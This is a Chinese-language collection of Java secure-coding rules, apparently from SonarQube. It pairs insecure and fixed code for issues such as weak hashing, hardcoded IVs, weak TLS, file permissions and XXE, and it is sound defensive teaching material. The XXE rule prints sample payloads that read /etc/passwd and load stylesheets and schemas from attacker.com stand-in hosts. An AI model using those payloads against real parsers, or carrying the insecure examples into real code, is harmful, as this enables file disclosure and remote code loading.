规则S1148 : 不可以调用"Throwable.printStackTrace(...)",使用日志
错误的代码示例
try {
/* ... */
} catch(Exception e) {
e.printStackTrace(); // 错误示范
}
正确的代码示例
try {
/* ... */
} catch(Exception e) {
LOGGER.log("context", e);
}
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
MITRE, CWE-489 - Leftover Debug Code
规则S1444 : "public static"需要为固定值
错误的代码示例
public class Greeter {
public static Foo foo = new Foo();
...
}
正确的代码示例
public class Greeter {
public static final Foo FOO = new Foo();
...
}
See
MITRE, CWE-500 - Public Static Field Not Marked Final
CERT OBJ10-J - Do not use public static nonfinal fields
规则S1989 : servlet的所有方法不可以抛出"Exception"
错误的代码示例
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException {
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip); // 错误示范; getByName(String) throws UnknownHostException
//...
}
正确的代码示例
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException {
try {
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
//...
}
catch (UnknownHostException uhex) {
//...
}
}
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
MITRE, CWE-600 - Uncaught Exception in Servlet
CERT, ERR01-J. - Do not allow exceptions to expose sensitive information
规则S2039 : 类的所有属性可见性需要声明
错误的代码示例
class Ball {
String color="red"; // 错误示范
}
enum A {
B;
int a;
}
正确的代码示例
class Ball {
private String color="red"; // 正确的代码示范
}
enum A {
B;
private int a;
}
特殊情况
添加了Guava @VisibleForTesting
注解的资源可以不适用本规范
class Cone {
@VisibleForTesting
Logger logger; // 正确的代码示范
}
规则S2070 : SHA-1和MD5算法不可用于安全操作
SHA1和MD5已经被标识为非安全的算法。
错误的代码示例
MessageDigest md = MessageDigest.getInstance("SHA1"); // 错误示范
正确的代码示例
MessageDigest md = MessageDigest.getInstance("SHA-256");
See
OWASP Top 10 2017 Category A6 - Security
Misconfiguration
MITRE, CWE-328 - Reversible One-Way Hash
MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
SANS Top 25 - Porous Defenses
SHAttere - The first concrete collision attack against SHA-1.
规则S2089 : 不可以信赖"HTTP"请求头中的"referer"值
该值可能是攻击篡改的内容。
错误的代码示例
public class MyServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String referer = request.getHeader("referer"); // 错误示范
if(isTrustedReferer(referer)){
//..
}
//...
}
}
See
OWASP Top 10 2017 Category A2 - Broken Authentication
MITRE, CWE-807 - Reliance on Untrusted Inputs in a Security Decision
MITRE, CWE-293 - Using Referer Field for Authentication
SANS Top 25 - Porous Defenses
规则S2115 : 所有的数据库访问必须使用密码
不可以使用免密的数据库连接。
错误的代码示例
Connection conn = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true", "AppLogin", "");
Connection conn2 = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password=");
正确的代码示例
DriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password=password");
DriverManager.getConnection("jdbc:mysql://address=(host=myhost1)(port=1111)(key1=value1)(user=sandy)(password=secret),address=(host=myhost2)(port=2222)(key2=value2)(user=sandy)(password=secret)/db");
DriverManager.getConnection("jdbc:mysql://sandy:secret@[myhost1:1111,myhost2:2222]/db");
String url = "jdbc:postgresql://localhost/test";
Properties props = new Properties();
props.setProperty("user", "fred");
props.setProperty("password", "secret");
DriverManager.getConnection(url, props);
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
MITRE, CWE-521 - Weak Password Requirements
规则S2254 : 不可使用"HttpServletRequest.getRequestedSessionId()"
错误的代码示例
if(isActiveSession(request.getRequestedSessionId()) ){
...
}
See
OWASP Top 10 2017 Category A2 - Broken Authentication MITRE, CWE-807 - Reliance on Untrusted Inputs in a Security Decision
SANS Top 25 - Porous Defenses
规则S2384 : 可变化的属性,不能直接返回或赋值
错误的代码示例
class A {
private String [] strings;
public A () {
strings = new String[]{"first", "second"};
}
public String [] getStrings() {
return strings; // 错误示范
}
public void setStrings(String [] strings) {
this.strings = strings; // 错误示范
}
}
public class B {
private A a = new A(); // At this point a.strings = {"first", "second"};
public void wreakHavoc() {
a.getStrings()[0] = "yellow"; // a.strings = {"yellow", "second"};
}
}
正确的代码示例
class A {
private String [] strings;
public A () {
strings = new String[]{"first", "second"};
}
public String [] getStrings() {
return strings.clone();
}
public void setStrings(String [] strings) {
this.strings = strings.clone();
}
}
public class B {
private A a = new A(); // At this point a.strings = {"first", "second"};
public void wreakHavoc() {
a.getStrings()[0] = "yellow"; // a.strings = {"first", "second"};
}
}
See
ITRE, CWE-374 - Passing Mutable Objects to an Untrusted Method
MITRE, CWE-375 - Returning a Mutable Object to an Untrusted Caller
CERT, OBJ05-J. - Do not return references to private mutable class members
CERT, OBJ06-J. - Defensively copy mutable inputs and mutable internal
components
CERT, OBJ13-J. - Ensure that references to mutable objects are not exposed
规则S2386 : 需要保证"public static"属性不可修改
错误的代码示例
public interface MyInterface {
public static String [] strings; // 错误示范
}
public class A {
public static String [] strings1 = {"first","second"}; // 错误示范
public static String [] strings2 = {"first","second"}; // 错误示范
public static List<String> strings3 = new ArrayList<>(); // 错误示范
// ...
}
See
MITRE, CWE-582 - Array Declared Public, Final, and Static
MITRE, CWE-607 - Public Static Final Field References Mutable Object
CERT, OBJ01-J. - Limit accessibility of fields
CERT, OBJ13-J. - Ensure that references to mutable objects are not exposed
规则S2612 : 正确设置文件的访问权限
- 错误的代码示范
public void setPermissions(String filePath) {
Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
// user permission
perms.add(PosixFilePermission.OWNER_READ);
perms.add(PosixFilePermission.OWNER_WRITE);
perms.add(PosixFilePermission.OWNER_EXECUTE);
// group permissions
perms.add(PosixFilePermission.GROUP_READ);
perms.add(PosixFilePermission.GROUP_EXECUTE);
// others permissions
perms.add(PosixFilePermission.OTHERS_READ); // Sensitive
perms.add(PosixFilePermission.OTHERS_WRITE); // Sensitive
perms.add(PosixFilePermission.OTHERS_EXECUTE); // Sensitive
Files.setPosixFilePermissions(Paths.get(filePath), perms);
}
public void setPermissionsUsingRuntimeExec(String filePath) {
Runtime.getRuntime().exec("chmod 777 file.json"); // Sensitive
}
public void setOthersPermissionsHardCoded(String filePath ) {
Files.setPosixFilePermissions(Paths.get(filePath), PosixFilePermissions.fromString("rwxrwxrwx")); // Sensitive
}
正确的代码示例
public void setPermissionsSafe(String filePath) throws IOException {
Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
// user permission
perms.add(PosixFilePermission.OWNER_READ);
perms.add(PosixFilePermission.OWNER_WRITE);
perms.add(PosixFilePermission.OWNER_EXECUTE);
// group permissions
perms.add(PosixFilePermission.GROUP_READ);
perms.add(PosixFilePermission.GROUP_EXECUTE);
// others permissions removed
perms.remove(PosixFilePermission.OTHERS_READ); // 正确的代码示范
perms.remove(PosixFilePermission.OTHERS_WRITE); // 正确的代码示范
perms.remove(PosixFilePermission.OTHERS_EXECUTE); // 正确的代码示范
Files.setPosixFilePermissions(Paths.get(filePath), perms);
}
See
OWASP Top 10 2017 Category A5 - Broken Access Control
OWASP File Permission
MITRE, CWE-732 - Incorrect Permission Assignment for Critical Resource
CERT, FIO01-J. -
Create files with appropriate access permissions
CERT, FIO06-C. - Create
files with appropriate access permissions
SANS Top 25 - Porous Defenses
规则S2647 : 禁止使用"Basic"认证方式
错误的代码示例
// Using HttpPost from Apache HttpClient
String encoding = Base64Encoder.encode ("login:passwd");
org.apache.http.client.methods.HttpPost httppost = new HttpPost(url);
httppost.setHeader("Authorization", "Basic " + encoding); // 错误示范
or
// Using HttpURLConnection
String encoding = Base64.getEncoder().encodeToString(("login:passwd").getBytes("UTF-8"));
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Authorization", "Basic " + encoding); // 错误示范
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
OWASP Basic Authentication
MITRE, CWE-522 - Insufficiently Protected Credentials
SANS Top 25 - Porous Defenses
规则S2653 : Servlet容器部署"Web"应用不得包含main方法
错误的代码示例
public class MyServlet extends HttpServlet {
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
if (userIsAuthorized(req)) {
updatePrices(req);
}
}
public static void main(String[] args) { // 错误示范
updatePrices(req);
}
}
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
MITRE, CWE-489 - Leftover Debug Code
CERT, ENV06-J. - Production code must not contain debugging entry points
规则S2658 : 不可以动态加载类
错误的代码示例
String className = System.getProperty("messageClassName");
Class clazz = Class.forName(className); // 错误示范
See
OWASP Top 10 2017 Category A1 - Injection
MITRE, CWE-470 - Use of Externally-Controlled Input to Select Classes or Code
('Unsafe Reflection')
规则S2755 : "XML"解析必须防护XXE攻击
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.attacking.com/deleteall">
<to>&xxe;</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "file:/etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:import href="http://www.attacker.com/evil.xsl"/>
<xsl:include href="http://www.attacker.com/evil.xsl"/>
<xsl:template match="/">
&content;
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "" [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:import namespace="test" schemaLocation="http://www.attacker.com/evil.xsd"/>
<xs:element name="note">
<xs:complexType>
<xs:sequence>
<xs:element name="to" type="xs:string"/>
<xs:element name="from" type="xs:string"/>
<xs:element name="heading" type="xs:string"/>
<xs:element name="body" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
错误的代码示例
DocumentBuilderFactory library:
String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); // 错误示范
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser(); // 错误示范
parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); // 错误示范
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // 错误示范
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // 错误示范
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator(); // 错误示范
StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));
Dom4j library:
SAXReader xmlReader = new SAXReader(); // 错误示范 by default
Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // 错误示范 by default
Document document = builder.build(new File(xml));
正确的代码示例
DocumentBuilderFactory library:
String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // 正确的代码示范
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));
dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix
is to disable doctype declarations:
SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 正确的代码示范
Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // 正确的代码示范
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
Document document = builder.build(new File(xml));
See
OWASP Top 10 2017 Category A4</a> - XML External Entities
(XXE)
OWASP XXE Prevention Cheat Sheet
MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
MITRE, CWE-827 - Improper Control of Document Type Definition
规则S2976 : 不可以使用"File.createTempFile" 创建目录
错误的代码示例
File tempDir;
tempDir = File.createTempFile("", ".");
tempDir.delete();
tempDir.mkdir(); // 错误示范
正确的代码示例
Path tempPath = Files.createTempDirectory("");
File tempDir = tempPath.toFile();
See
OWASP Top 10 2017 Category A9</a> - Using Components with Known Vulnerabilities
规则S3066 : "enum"的属性不可以修改
错误的代码示例
public enum Continent {
NORTH_AMERICA (23, 24709000),
// ...
EUROPE (50, 39310000);
public int countryCount; // 错误示范
private int landMass;
Continent(int countryCount, int landMass) {
// ...
}
public void setLandMass(int landMass) { // 错误示范
this.landMass = landMass;
}
正确的代码示例
public enum Continent {
NORTH_AMERICA (23, 24709000),
// ...
EUROPE (50, 39310000);
private int countryCount;
private int landMass;
Continent(int countryCount, int landMass) {
// ...
}
规则S3329 : Cypher Block Chaining IV's 初始化必须随机且唯一
错误的代码示例
public class MyCbcClass {
public String applyCBC(String strKey, String plainText) {
byte[] bytesIV = "7cVgr5cbdCZVw5WY".getBytes("UTF-8");
/* KEY + IV setting */
IvParameterSpec iv = new IvParameterSpec(bytesIV);
SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES");
/* Ciphering */
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv); // 错误示范 because IV hard coded and cannot vary with each ciphering round
byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8"));
return DatatypeConverter.printBase64Binary(bytesIV) // IV is typically published
+ ";" + DatatypeConverter.printBase64Binary(encryptedBytes);
}
}
正确的代码示例
public class MyCbcClass {
SecureRandom random = new SecureRandom();
public String applyCBC(String strKey, String plainText) {
byte[] bytesIV = new byte[16];
random.nextBytes(bytesIV);
/* KEY + IV setting */
IvParameterSpec iv = new IvParameterSpec(bytesIV);
SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES");
/* Ciphering */
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8"));
return DatatypeConverter.printBase64Binary(bytesIV)
+ ";" + DatatypeConverter.printBase64Binary(encryptedBytes);
}
}
See
MITRE, CWE-330 - Use of Insufficiently Random Values
OWASP Top 10 2017 Category A6 - Security Misconfiguration
Derived from FindSecBugs rule
STATIC_IV
规则S3355 : web.xml中定义的过滤器必须使用
错误的代码示例
<filter>
<filter-name>DefinedNotUsed</filter-name>
<filter-class>com.myco.servlet.ValidationFilter</filter-class>
</filter>
正确的代码示例
<filter>
<filter-name>ValidationFilter</filter-name>
<filter-class>com.myco.servlet.ValidationFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ValidationFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
See
OWASP Top 10 2017 Category A6</a> - Security Misconfiguration
规则S3749 : Spring组件的成员变量需要注入
错误的代码示例
@Controller
public class HelloWorld {
private String name = null;
@RequestMapping("/greet", method = GET)
public String greet(String greetee) {
if (greetee != null) {
this.name = greetee;
}
return "Hello " + this.name; // if greetee is null, you see the previous user's data
}
}
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
规则S3751 : "@RequestMapping"必须为"public"
错误的代码示例
@RequestMapping("/greet", method = GET)
private String greet(String greetee) { // 错误示范
正确的代码示例
@RequestMapping("/greet", method = GET)
public String greet(String greetee) {
See
OWASP Top 10 2017 Category A6 - Security Misconfiguration
规则S3752 : "@RequestMapping"必须指定 HTTP方法
错误的代码示例
@RequestMapping("/greet") // 错误示范
public String greet(String greetee) {
}
@RequestMapping(path = "/delete", method = {RequestMethod.GET, RequestMethod.POST}) // 错误示范
String delete(@RequestParam("id") String id) {
return "Hello from delete";
}
正确的代码示例
@RequestMapping("/greet", method = GET)
public String greet(String greetee) {
}
@RequestMapping(path = "/delete", method = RequestMethod.GET)
String delete(@RequestParam("id") String id) {
return "Hello from delete";
}
See
OWASP Top 10 2017 Category A6 - Security Misconfiguration
MITRE, CWE-352 - Cross-Site Request Forgery (CSRF)
OWASP: Cross-Site Request Forgery
SANS Top 25 - Insecure Interaction Between Components
Spring Security Official Documentation: Use proper HTTP verbs (CSRF protection)
规则S4347 : "SecureRandom"的种子必须具有不可预测性
错误的代码示例
SecureRandom sr = new SecureRandom();
sr.setSeed(123456L); // 错误示范
int v = sr.next(32);
sr = new SecureRandom("abcdefghijklmnop".getBytes("us-ascii")); // 错误示范
v = sr.next(32);
正确的代码示例
SecureRandom sr = new SecureRandom();
int v = sr.next(32);
See
OWASP Top 10 2017 Category A6 - Security Misconfiguration
MITRE, CWE-330 - Use of Insufficiently Random Values
MITRE, CWE-332 - Insufficient Entropy in PRNG
MITRE, CWE-336 - Same Seed in Pseudo-Random Number Generator (PRNG)
MITRE, CWE-337 - Predictable Seed in Pseudo-Random Number Generator (PRNG)
CERT, MSC63J. - Ensure that SecureRandom is properly seeded
规则S4423 : 不可以使用弱"SSL/TLS"协议
错误的代码示例
context = SSLContext.getInstance("SSLv3"); // 错误示范
正确的代码示例
context = SSLContext.getInstance("TLSv1.2");
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
OWASP Top 10 2017 Category A6 - Security Misconfiguration
MITRE, CWE-327 - Inadequate Encryption Strength
MITRE, CWE-326 - Use of a Broken or Risky Cryptographic Algorithm
SANS Top 25 - Porous Defenses
Diagnosing TLS, SSL, and HTTPS
SSL and TLS Deployment Best Practices - Use secure protocols
规则S4426 : 非对称加密/验密算法的Key必须足够强壮
错误的代码示例
KeyPairGenerator keyPairGen1 = KeyPairGenerator.getInstance("RSA");
keyPairGen1.initialize(1024); // 错误示范
KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC");
ECGenParameterSpec ecSpec1 = new ECGenParameterSpec("secp112r1"); // 错误示范
keyPairGen5.initialize(ecSpec1);
KeyGenerator keyGen1 = KeyGenerator.getInstance("AES");
keyGen1.init(64); // 错误示范
正确的代码示例
KeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("RSA");
keyPairGen6.initialize(2048); // 正确的代码示范
KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC");
ECGenParameterSpec ecSpec10 = new ECGenParameterSpec("secp224k1"); // 正确的代码示范
keyPairGen5.initialize(ecSpec10);
KeyGenerator keyGen2 = KeyGenerator.getInstance("AES");
keyGen2.init(128); // 正确的代码示范
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
OWASP Top 10 2017 Category A9 - Security Misconfiguration
NIST 800-131A</a> - Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths
MITRE, CWE-326 - Inadequate Encryption Strength
规则S4433 : 所有的"LDAP"连接需要进行身份认证
错误的代码示例
// Set up the environment for creating the initial context
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");
// Use anonymous authentication
env.put(Context.SECURITY_AUTHENTICATION, "none"); // 错误示范
// Create the initial context
DirContext ctx = new InitialDirContext(env);
正确的代码示例
// Set up the environment for creating the initial context
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");
// Use simple authentication
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=S. User, ou=NewHires, o=JNDITutorial");
env.put(Context.SECURITY_CREDENTIALS, getLDAPPassword());
// Create the initial context
DirContext ctx = new InitialDirContext(env);
See
OWASP Top 10 2017 Category A2 - Broken Authentication CWE-521 - Weak Password Requirements
Modes of Authenticating to LDAP
Derived from FindSecBugs rule - LDAP_ANONYMOUS
规则S4434 : 禁止使用"LDAP"反序列化
错误的代码示例
DirContext ctx = new InitialDirContext();
// ...
ctx.search(query, filter,
new SearchControls(scope, countLimit, timeLimit, attributes,
true, // 错误示范; allows deserialization
deref));
正确的代码示例
DirContext ctx = new InitialDirContext();
// ...
ctx.search(query, filter,
new SearchControls(scope, countLimit, timeLimit, attributes,
false,
deref));
See
MITRE, CWE-502 - Deserialization of Untrusted Data
OWASP Top 10 2017 Category A8 - Insecure Deserialization
BlackHat presentation
Derived from FindSecBugs rule - LDAP_ENTRY_POISONING
规则S4435 : 需要安全的"XML"转换器
错误的代码示例
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.transform(input, result);
正确的代码示例
Recommended:
TransformerFactory factory = TransformerFactory.newInstance();
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
Transformer transformer = factory.newTransformer();
transformer.transform(input, result);
Implementation dependent:
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Transformer transformer = factory.newTransformer();
transformer.transform(input, result);
See
OWASP Top 10 2017 Category A4 XML External Entities
OWASP XXE Cheat Sheet
MITRE, CWE-611 - Improper Restriction of XML External Entity Reference ('XXE')
Derived from FindSecBugs ruleXXE_DTD_TRANSFORM_FACTORY
Derived from FindSecBugs rule XXE_XSLT_TRANSFORM_FACTORY
Deprecated
This rule is deprecated; use {rule:java:S2755} instead.
规则S4499 : "SMTP SSL"连接需要检查服务器身份
错误的代码示例
Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true); // 错误示范; setSSLCheckServerIdentity(true) should also be called before sending the email
email.send();
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // 错误示范; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication("username@gmail.com", "password");
}
});
正确的代码示例
Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true);
email.setSSLCheckServerIdentity(true); // 正确的代码示范
email.send();
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
props.put("mail.smtp.ssl.checkserveridentity", true); // 正确的代码示范
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication("username@gmail.com", "password");
}
});
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
CWE-297 - Improper Validation of Certificate with Host Mismatch
Deprecated
This rule is deprecated; use {rule:java:S5527} instead.
规则S4601 : "HttpSecurity" URL匹配需要正确排序
错误的代码示例
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/resources/**", "/signup", "/about").permitAll() // 正确的代码示范
.antMatchers("/admin/**").hasRole("ADMIN")
.antMatchers("/admin/login").permitAll() // 错误示范; the pattern "/admin/login" should occurs before "/admin/**"
.antMatchers("/**", "/home").permitAll()
.antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')") // 错误示范; the pattern "/db/**" should occurs before "/**"
.and().formLogin().loginPage("/login").permitAll().and().logout().permitAll();
}
正确的代码示例
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/resources/**", "/signup", "/about").permitAll() // 正确的代码示范
.antMatchers("/admin/login").permitAll()
.antMatchers("/admin/**").hasRole("ADMIN") // 正确的代码示范
.antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")
.antMatchers("/**", "/home").permitAll() // 正确的代码示范; "/**" is the last one
.and().formLogin().loginPage("/login").permitAll().and().logout().permitAll();
}
See
OWASP Top 10 2017 Category A6 - Security
Misconfiguration
规则S4684 : 持久化Entity不可用于"@RequestMapping"方法参数
错误的代码示例
import javax.persistence.Entity;
@Entity
public class Wish {
Long productId;
Long quantity;
Client client;
}
@Entity
public class Client {
String clientId;
String name;
String password;
}
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class WishListController {
@PostMapping(path = "/saveForLater")
public String saveForLater(Wish wish) {
session.save(wish);
}
@RequestMapping(path = "/saveForLater", method = RequestMethod.POST)
public String saveForLater(Wish wish) {
session.save(wish);
}
}
正确的代码示例
public class WishDTO {
Long productId;
Long quantity;
Long clientId;
}
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class PurchaseOrderController {
@PostMapping(path = "/saveForLater")
public String saveForLater(WishDTO wish) {
Wish persistentWish = new Wish();
// do the mapping between "wish" and "persistentWish"
[...]
session.save(persistentWish);
}
@RequestMapping(path = "/saveForLater", method = RequestMethod.POST)
public String saveForLater(WishDTO wish) {
Wish persistentWish = new Wish();
// do the mapping between "wish" and "persistentWish"
[...]
session.save(persistentWish);
}
}
特殊情况
如果是用 @PathVariable
注解,此规范可以忽略
See
OWASP Top 10 2017 Category A5 - Broken Access Control
